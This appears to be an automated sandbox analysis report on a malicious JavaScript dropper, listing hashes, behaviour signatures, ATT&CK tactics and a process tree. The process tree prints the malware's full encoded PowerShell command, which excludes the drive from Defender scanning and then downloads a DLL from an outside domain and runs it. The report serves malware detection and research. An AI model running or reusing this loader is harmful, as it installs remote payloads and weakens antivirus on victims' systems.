b723e10c70777c44286b4f8a5befd2db7921bf24579724cd92011477c31baa59

Analysis

max time kernel
146s
max time network
149s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
14/03/2023, 01:30

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General

Target

C.UnUqFlu.3799.js
Size

126KB
MD5

30ebf931943208a070ef8fd69b2cabde
SHA1

c01927dd3655efc00ccb499bdbaaeec4290b4214
SHA256

b723e10c70777c44286b4f8a5befd2db7921bf24579724cd92011477c31baa59
SHA512

86ae081411b3603cc99a41b0e56f66ce3b6395ab42d1a2b0e7aaeba953c6f24c5c1e9de278ac537f88929dd664e687a692427ba542bab069cd679b22d3c0843c
SSDEEP

1536:VaGunY8skGPJOXbJT8pWZM4PmG8/twnjCxsk390Y5c+Si56GqLJQv0IkCH4Vq6OQ:VO0k4Oblp9LXW+GRslrka

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	4616	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4616	powershell.exe
4616	powershell.exe
4616	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4616	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1020 wrote to memory of 4616	1020	wscript.exe	67
PID 1020 wrote to memory of 4616	1020	wscript.exe	67
PID 4616 wrote to memory of 1288	4616	powershell.exe	69
PID 4616 wrote to memory of 1288	4616	powershell.exe	69

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\C.UnUqFlu.3799.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABwAHIAZQBwAHIAaQBuAHQAZQBkACAAPQAgAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIABIAEsAQwBVADoAXABcAFMATwBGAFQAVwBBAFIARQBcAFwAYgBsAGkAcwBzAGYAdQBsAG4AZQBzAHMASABvAHIAbgBpAGYAaQBjAGEAdABpAG8AbgAgAHwAIAAlAHsAJABfAC4AQQB1AHIAaQBjAHUAbABvAHYAZQBuAHQAcgBpAGMAdQBsAGEAcgB9ADsAIAAkAHAAcgBlAHAAcgBpAG4AdABlAGQAIAA9ACAAIgB1AG4AcwBlAG4AcwBhAHQAZQBPAGsAbwBuAGkAbwBzAGkAcwAiACAAKwAgACQAcAByAGUAcAByAGkAbgB0AGUAZAA7ACAAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAZgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcAByAGUAcAByAGkAbgB0AGUAZAApACkAOwAgAFsAYwBsAGEAcwBzAGkAYwB5AGMAMQBdADoAOgBFAHgAZQBjAHUAdABlACgAIgBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAHgAZQBjAHUAdABpAG8AbgBwAG8AbABpAGMAeQAgAGIAeQBwAGEAcwBzACAALQB3AGkAbgBkAG8AdwBzAHQAeQBsAGUAIABoAGkAZABkAGUAbgAgACIAIgBgACQAYwB1AHIAcgBlAG4AdABEAHIAaQB2AGUAIAA9ACAAYAAoAGcAZQB0AC0AbABvAGMAYQB0AGkAbwBuAGAAKQAuAEQAcgBpAHYAZQAuAE4AYQBtAGUAIAArACAAJwA6AFwAJwA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAGAAJABjAHUAcgByAGUAbgB0AEQAcgBpAHYAZQA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMAOwByAGUAZwAgAGQAZQBsAGUAdABlACAASABLAEUAWQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAFwAUwBPAEYAVABXAEEAUgBFAFwARABpAHMAdABhAGkAbgBzAFMAZQBtAGkAcABlAHQAcgBpAGYAaQBlAGQAIAAvAHYAIABBAHUAcgBpAGMAdQBsAG8AdgBlAG4AdAByAGkAYwB1AGwAYQByACAALwBmACIAIgAiACkAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcABzADoALwAvAG8AbgB1AHIAbQBtAGQAdgAuAGMAbwBtAC8AZQBBAE4AUwAvADEAMgAwACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABCAGUAYQB0AGEAYgBsAGUAUwB0AGkAYwBrAHMAZQBlAGQALgBkAGwAbAA7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABCAGUAYQB0AGEAYgBsAGUAUwB0AGkAYwBrAHMAZQBlAGQALgBkAGwAbAAsAFgAUwA4ADgAOwA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4616
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\\BeatableStickseed.dll XS88
    3⤵
    PID:1288

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0fc0zr5y.gcz.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/4616-120-0x0000018927690000-0x00000189276B2000-memory.dmp

Filesize
136KB

Download
memory/4616-124-0x0000018927840000-0x00000189278B6000-memory.dmp

Filesize
472KB

Download
memory/4616-125-0x000001890D7B0000-0x000001890D7C0000-memory.dmp

Filesize
64KB

Download
memory/4616-123-0x000001890D7B0000-0x000001890D7C0000-memory.dmp

Filesize
64KB

Download
memory/4616-152-0x000001890D7B0000-0x000001890D7C0000-memory.dmp

Filesize
64KB

Download
memory/4616-153-0x000001890D7B0000-0x000001890D7C0000-memory.dmp

Filesize
64KB

Download